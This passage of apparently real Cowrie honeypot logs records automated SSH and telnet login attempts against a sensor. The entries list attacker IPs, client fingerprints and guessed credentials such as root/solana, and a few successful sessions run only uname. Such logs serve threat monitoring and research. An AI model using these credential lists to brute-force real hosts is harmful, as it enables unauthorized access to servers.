ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:42.614268Z","src_ip":"2.57.122.96","session":"727c190a473e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:42.911285Z","src_ip":"2.57.122.96","session":"727c190a473e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:44.032340Z","src_ip":"2.57.122.96","session":"727c190a473e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.89.212.67","src_port":58336,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17866dfde6e","protocol":"telnet","message":"New connection: 81.89.212.67:58336 (159.203.135.109:23) [session: a17866dfde6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:50.247929Z"}
{"eventid":"cowrie.session.closed","duration":12.461821794509888,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:02.709646Z","src_ip":"81.89.212.67","session":"a17866dfde6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.85.8","src_port":41438,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa823a85b42b","protocol":"ssh","message":"New connection: 144.91.85.8:41438 (159.203.135.109:22) [session: fa823a85b42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:25.315377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:25.320069Z","src_ip":"144.91.85.8","session":"fa823a85b42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:25.412944Z","src_ip":"144.91.85.8","session":"fa823a85b42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"assistant","password":"123","message":"login attempt [assistant/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:25.818673Z","src_ip":"144.91.85.8","session":"fa823a85b42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:26.914460Z","src_ip":"144.91.85.8","session":"fa823a85b42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59418,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc40919bc94b","protocol":"ssh","message":"New connection: 193.32.162.145:59418 (159.203.135.109:22) [session: fc40919bc94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:37.839024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:37.845980Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:37.956516Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:38.281795Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:38.667499Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:38.671039Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:38.781712Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:38.786764Z","src_ip":"193.32.162.145","session":"fc40919bc94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":56376,"dst_ip":"159.203.135.109","dst_port":22,"session":"b24e57bda54d","protocol":"ssh","message":"New connection: 92.99.195.230:56376 (159.203.135.109:22) [session: b24e57bda54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:40.052833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:40.057038Z","src_ip":"92.99.195.230","session":"b24e57bda54d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:40.257108Z","src_ip":"92.99.195.230","session":"b24e57bda54d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappeuser","password":"12345","message":"login attempt [frappeuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:41.091708Z","src_ip":"92.99.195.230","session":"b24e57bda54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:42.293909Z","src_ip":"92.99.195.230","session":"b24e57bda54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38070,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb83e027063","protocol":"ssh","message":"New connection: 195.178.110.218:38070 (159.203.135.109:22) [session: adb83e027063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:57.676505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:57.680681Z","src_ip":"195.178.110.218","session":"adb83e027063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:57.759986Z","src_ip":"195.178.110.218","session":"adb83e027063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:57.999531Z","src_ip":"195.178.110.218","session":"adb83e027063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:00:59.081208Z","src_ip":"195.178.110.218","session":"adb83e027063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":51690,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce3307ee5840","protocol":"ssh","message":"New connection: 124.128.221.98:51690 (159.203.135.109:22) [session: ce3307ee5840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:03.746920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:03.794001Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:04.032123Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"server@1234","message":"login attempt [root/server@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:05.215414Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:06.274415Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:01:06.277428Z","src_ip":"124.128.221.98","session":"ce3307ee5840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54668,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52519672bbb","protocol":"ssh","message":"New connection: 2.57.122.96:54668 (159.203.135.109:22) [session: a52519672bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:46.369179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:46.390451Z","src_ip":"2.57.122.96","session":"a52519672bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:46.481534Z","src_ip":"2.57.122.96","session":"a52519672bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigen","message":"login attempt [ubuntu/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:46.927640Z","src_ip":"2.57.122.96","session":"a52519672bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:48.028033Z","src_ip":"2.57.122.96","session":"a52519672bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.11.6.106","src_port":41499,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cc8c0caa3b","protocol":"telnet","message":"New connection: 77.11.6.106:41499 (10.17.0.5:23) [session: d7cc8c0caa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:54.493127Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50440,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b5668256e67","protocol":"ssh","message":"New connection: 193.32.162.145:50440 (159.203.135.109:22) [session: 9b5668256e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:58.257007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:58.263424Z","src_ip":"193.32.162.145","session":"9b5668256e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:58.370090Z","src_ip":"193.32.162.145","session":"9b5668256e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:58.743696Z","src_ip":"193.32.162.145","session":"9b5668256e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:02:59.854377Z","src_ip":"193.32.162.145","session":"9b5668256e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.594970703125,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:09.088005Z","src_ip":"77.11.6.106","session":"d7cc8c0caa3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":35872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b680cb1f567","protocol":"ssh","message":"New connection: 154.221.28.214:35872 (159.203.135.109:22) [session: 4b680cb1f567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:12.877769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:03:12.882282Z","src_ip":"154.221.28.214","session":"4b680cb1f567","protocol":"ssh"}
